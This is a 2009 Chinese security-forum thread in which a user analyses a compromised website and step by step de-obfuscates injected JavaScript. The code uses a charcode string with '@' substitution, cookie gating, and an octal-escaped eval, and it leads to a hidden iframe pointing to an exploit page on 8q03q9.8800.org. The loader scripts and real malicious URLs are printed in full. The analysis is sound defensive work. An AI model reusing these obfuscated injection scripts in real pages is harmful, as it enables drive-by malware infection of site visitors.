瑞星卡卡安全论坛

首页 » 技术交流区 » 恶意网站交流 » 一个非常新颖的网页加密
networkedition - 2009-7-31 13:55:00
今天这个教程为什么起这个名称,因这种加密形式,在以往的解密分析中,我头一次遇见此加密方法。也许其他解密高手见过类似的加密形式,但我还是觉得写个教程吧,估计大多数还是没有遇到过。好了,废话不多说了,进入正题。

在今天的瑞星每日网马播报中,遇到一个被挂马网站:http://www.insun.com.cn/,按照正常的解密方法进行解密,发现未见异常,开启瑞星全功能安全软件,直接访问该网站瑞星有拦截,见下图:



用户系统信息:Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)
networkedition - 2009-7-31 13:59:00
瑞星杀毒软件既然拦截了,看来这个网站的确是被挂马了,使用freshow工具来进行分析,头一次的分析结果中未发现异常,freshow工具分析日志如下:

Log is generated by FreShow.
[wide]http://www.insun.com.cn/
    [script]http://www.insun.com.cn/yy_js/now.js
    [script]http://www.insun.com.cn/js/digg.js
    [script]http://www.insun.com.cn/js/idate.js
    [script]http://www.insun.com.cn/plus/Advertise.asp?i=45
    [script]http://www.insun.com.cn/TanyourInc/loadflash.js
    [ani]http://www.insun.com.cn/Image/SM5_bg.jpg);margin:3px;width:222px;height:22px;border:1px
    [frame]http://www.insun.com.cn/user/userlogin.asp
        [script]http://www.insun.com.cn/user/User_Recharge.js
    [script]http://www.insun.com.cn/plus/Advertise.asp?i=52
    [script]http://www.insun.com.cn/plus/Advertise.asp?i=49
    [script]http://www.insun.com.cn/plus/Advertise.asp?i=46
    [script]http://www.insun.com.cn/plus/Advertise.asp?i=48
    [frame]http://www.insun.com.cn/a_images/hzhb/youqing.html
    [script]http://pw.cnzz.com/c.php?id=80008413&l=2
    [script]http://www.google-analytics.com/urchin.js
    [script]http://www.insun.com.cn/TanyourInc/ajax.js
networkedition - 2009-7-31 14:03:00
从以上日志分析来看,未见有什么异常链接。几个js脚本源代码中未见什么加密形式,实际上我忽略了其中的一个js的源代码,
http://www.insun.com.cn/user/User_Recharge.js
该js脚本源代码内容如下:

function killYouErrors()
{
return true;
}

window.onerror = killYouErrors;

function GetYouCookieVal(offset)

{
var endstr = document.cookie.indexOf (";", offset);
if (endstr == -1)
endstr = document.cookie.length;
return unescape(document.cookie.substring(offset, endstr));
}
function SetYouCookie(name, value)

{
var expdate = new Date();
var argv = SetYouCookie.arguments;
var argc = SetYouCookie.arguments.length;
var expires = (argc > 2) ? argv[2] : null;
var path = (argc > 3) ? argv[3] : null;
var domain = (argc > 4) ? argv[4] : null;

var secure = (argc > 5) ? argv[5] : false;
if(expires!=null) expdate.setTime(expdate.getTime() + ( expires * 1000 ));
document.cookie = name + "=" + escape (value) +((expires == null) ? "" : ("; expires="+ expdate.toGMTString()))
+((path == null) ? "" : ("; path=" + path)) +((domain == null) ? "" : ("; domain=" + domain))
+((secure == true) ? "; secure" : "");
}
function DelYouCookie(name)

{
var exp = new Date();
exp.setTime (exp.getTime() - 1);
var cval = GetYouCookie (name);
document.cookie = name + "=" + cval + "; expires="+ exp.toGMTString();
}
function GetYouCookie(name)

{
var arg = name + "=";
var alen = arg.length;
var clen = document.cookie.length;
var i_ = 0;
while (i_ < clen)
{
var j_ = i_ + alen;
if (document.cookie.substring(i_, j_) == arg)
return GetYouCookieVal (j_);
i_ = document.cookie.indexOf(" ", i_) + 1;
if (i_ == 0) break;
}
return null;
}

if (GetYouCookie("my_ad")==null)
        {
        var r_=/@/gi;var t_="60,@@5,99,@@4,@05,@@2,@@6,32,@@5,@@4,99,6@,@04,@@6,@@6,@@2,58,47,47,@@6,@05,@09,@0@,@@4,@@5,46,56,56,54,54,46,@@@,@@4,@03,47,97,@00,46,@06,@@5,62,60,47,@@5,99,@@4,@05,@@2,@@6,62";t_=t_.replace(r_,"1");document.write(eval("String.fromCharCode("+t_+")"));
        }
else if (GetYouCookie("my_ad")=="yes")
{
        var my_ad=GetYouCookie("ad_str")
        if (my_ad!=null) {document.write(my_ad)}
}


networkedition - 2009-7-31 14:27:00
咋一看这个代码没有什么,只是一个函数,使用freshow的filter过滤,也没有iframe或script,往往就忽略过去了,而实际这个函数就是一段加密算法(这么写不确定是否正确,因对代码这块不是很明白,有知道这段代码是什么意思的大牛,可以解释分析一下,O(∩_∩)O哈!)猜测这段代码和cookie有关,具体留给大牛们来分析吧。

接下来使用以往解密经验,简单分析一下,发现这段函数有个document.write,既然有document.write不妨使用redoce来解密一下这段代码,将代码复制粘贴至redoce操作区域,解密选项选择:D>Document.Write清除,相关操作见下列截图:







networkedition - 2009-7-31 14:35:00
囧,这个还真和cookie有关,第二次解密时,获取源代码使用redoce的document.write清除,死活什么都没有,将cookie清除后,重新获取源代码后,再解密又出来了。上面截图我们看到,使用document.write清除后有个http://timers.8866.org/ad.js,再来看看这个ad.js吧,直接使用redoce获取源代码:

<!--
function killMyErrors()
{return true;}
window.onerror = killMyErrors;
function GetMyCookieVal(offset)
{var endstr = document.cookie.indexOf (";", offset);
if (endstr == -1)
endstr = document.cookie.length;
return unescape(document.cookie.substring(offset, endstr));}
function SetMyCookie(name, value)
{var expdate = new Date();
var argv = SetMyCookie.arguments;
var argc = SetMyCookie.arguments.length;
var expires = (argc > 2) ? argv[2] : null;
var path = (argc > 3) ? argv[3] : null;
var domain = (argc > 4) ? argv[4] : null;
var secure = (argc > 5) ? argv[5] : false;
if(expires!=null) expdate.setTime(expdate.getTime() + ( expires * 1000 ));
document.cookie = name + "=" + escape (value) +((expires == null) ? "" : ("; expires="+ expdate.toGMTString()))
+((path == null) ? "" : ("; path=" + path)) +((domain == null) ? "" : ("; domain=" + domain))
+((secure == true) ? "; secure" : "");}
function GetMyCookie(name)
{var arg = name + "=";
var alen = arg.length;
var clen = document.cookie.length;
var i = 0;
while (i < clen)
{var j = i + alen;
if (document.cookie.substring(i, j) == arg)
return GetMyCookieVal (j);
i = document.cookie.indexOf(" ", i) + 1;
if (i == 0) break;}
return null;}
if (GetMyCookie("my_ad")==null){
var ad_str="<span style='width:0;height:0;visibility:hidden'><sc"+"ript language='java"+"script' src='http://tongj"+"ia.886"+"6.org/asp.asp'></scr"+"ipt></span>"
SetMyCookie("my_ad","yes",864000,"/");document.write(ad_str);}


获取代码和前面的类似,再使用document.write清除,看看有什么。
networkedition - 2009-7-31 14:35:00



networkedition - 2009-7-31 14:41:00
有个:http://tongjia.8866.org/asp.asp链接,再来看一下这个asp.asp里面有什么。注意:如果使用freshow来获取这个asp的页面,会出现以下截图内容(即无法获取到源文件)




而是用redoce可获取到源文件,见下面截图:

networkedition - 2009-7-31 14:42:00
asp.asp源代码内容如下:

document.writeln("<base onmouseover=\"window.status=\'完成                                                    \';return true\">");
document.write("<style type=\"text/css\">")
document.write("#seraph{v:expression(this.width=0,this.height=0) }")
document.write("<\/style>")
function y_gVal(iz)
{var endstr=document.cookie.indexOf(";",iz);if(endstr==-1) endstr=document.cookie.length;return document.cookie.substring(iz,endstr);}
function y_g(name)
{var arg=name+"=";var alen=arg.length;var clen=document.cookie.length;var i=0;var j;while(i<clen) {j=i+alen;if(document.cookie.substring(i,j)==arg) return y_gVal(j);i=document.cookie.indexOf(" ",i)+1;if(i==0) break;}return null;}
function cc_k()
{var y_e=new Date();var y_t=93312000;var yesvisitor=1000*36000;var yesctime=y_e.getTime();y_e.setTime(y_e.getTime()+y_t);var yesiz=document.cookie.indexOf("cck_lasttime");if(yesiz==-1){document.cookie="cck_lasttime="+yesctime+"; expires=" + y_e.toGMTString() +  "; path=/";document.cookie="cck_count=0; expires=" + y_e.toGMTString() +  "; path=/";return 0;}else{var y_c1=y_g("cck_lasttime");var y_c2=y_g("cck_count");y_c1=parseInt(y_c1);y_c2=parseInt(y_c2);y_c3=yesctime-y_c1;if(y_c3>yesvisitor){y_c2=y_c2+1;document.cookie="cck_lasttime="+yesctime+"; expires="+y_e.toGMTString()+"; path=/";document.cookie="cck_count="+y_c2+"; expires="+y_e.toGMTString()+"; path=/";}return y_c2;}}
var yesdata;
yesdata='&refe='+escape(document.referrer)+'&location='+escape(document.location)+'&color='+screen.colorDepth+'x&resolution='+screen.width+'x'+screen.height+'&returning='+cc_k()+'&language='+navigator.systemLanguage+'&ua='+escape(navigator.userAgent);
var seraph;
if (seraph==null)
{
seraph=1;
eval('\144\157\143\165\155\145\156\164\56\167\162\151\164\145\50\42\74\151\146\162\141\155\145\40\163\162\143\75\150\164\164\160\72\57\57\70\161\60\63\161\71\56\70\70\60\60\56\157\162\147\57\141\141\57\141\64\56\150\164\155\77\70\63\40\167\151\144\164\150\75\61\64\63\40\150\145\151\147\150\164\75\64\63\40\151\144\75\47\163\145\162\141\160\150\47\76\74\57\151\146\162\141\155\145\76\42\51');
document.write('<iframe MARGINWIDTH=0 MARGINHEIGHT=0 HSPACE=0 VSPACE=0 FRAMEBORDER=0 SCROLLING=no src=http://count27.51yes.com/sa.aspx?id=278116558'+yesdata+' height=0 width=0></iframe>');
}


networkedition - 2009-7-31 14:46:00
再来分析一下这段代码,代码中有个eval,使用redoce的6>Eval()清除(Beta!),见下面截图:

networkedition - 2009-7-31 14:52:00
http://8q03q9.8800.org/aa/a4.htm?83 终于见到我们熟悉的东西了。 我们将此链接地址粘贴至freshow的obj区,选中它的父级链接
http://www.insun.com.cn/user/User_Recharge.js,点击insert按钮,插入freshow的收集区域。后面的我想大家应该都会解密了,这里就不在讲解了。freshow日志如下:

Log is generated by FreShow.
[wide]http://www.insun.com.cn/
    [script]http://www.insun.com.cn/yy_js/now.js
    [script]http://www.insun.com.cn/js/digg.js
    [script]http://www.insun.com.cn/js/idate.js
    [script]http://www.insun.com.cn/plus/Advertise.asp?i=45
    [script]http://www.insun.com.cn/TanyourInc/loadflash.js
    [ani]http://www.insun.com.cn/Image/SM5_bg.jpg);margin:3px;width:222px;height:22px;border:1px
    [frame]http://www.insun.com.cn/user/userlogin.asp
        [script]http://www.insun.com.cn/user/User_Recharge.js
            [object]http://8q03q9.8800.org/aa/a4.htm?83
                [frame]http://8q03q9.8800.org/aa/360.htm
                    [frame]http://8q03q9.8800.org/aa/he.htm
                    [frame]http://8q03q9.8800.org/aa/test.htm
                    [frame]http://8q03q9.8800.org/aa/02.htm
                    [frame]http://8q03q9.8800.org/aa/pp.htm
                [script]http://8q03q9.8800.org/aa/\"http:\/\/js.tongji.linezing.com\/1081637\/tongji.js\"
                [script]http://s6.cnzz.com/stat.php?id=1408285&web_id=1408285
    [script]http://www.insun.com.cn/plus/Advertise.asp?i=52
    [script]http://www.insun.com.cn/plus/Advertise.asp?i=49
    [script]http://www.insun.com.cn/plus/Advertise.asp?i=46
    [script]http://www.insun.com.cn/plus/Advertise.asp?i=48
    [frame]http://www.insun.com.cn/a_images/hzhb/youqing.html
    [script]http://pw.cnzz.com/c.php?id=80008413&l=2
    [script]http://www.google-analytics.com/urchin.js
    [script]http://www.insun.com.cn/TanyourInc/ajax.js
完整日志分析,请查看瑞星网站每日安全播报(2009年7月31日)
shadowmin - 2009-7-31 15:00:00
这种通过cookie是否设置某值,来判断是否执行某链接的形式,以前就有,看下面的链接的二楼
http://bbs.ikaka.com/showtopic-8638809.aspx
不同的是,这个更隐蔽一些。
http://tongjia.8866.org/asp.asp
freshow不能获取代码的原因是没有referrer,而新版redoce中会自动设置这个,早期版本是不行的。
学飞的龙 - 2009-7-31 20:19:00
伪装得还真不好找,,,不仔细不行,楼上也是高手,菜鸟学习中。。。
dipahole - 2009-7-31 21:36:00
一名十分优秀的安全专家.....蛛丝马迹...
1
查看完整版本: 一个非常新颖的网页加密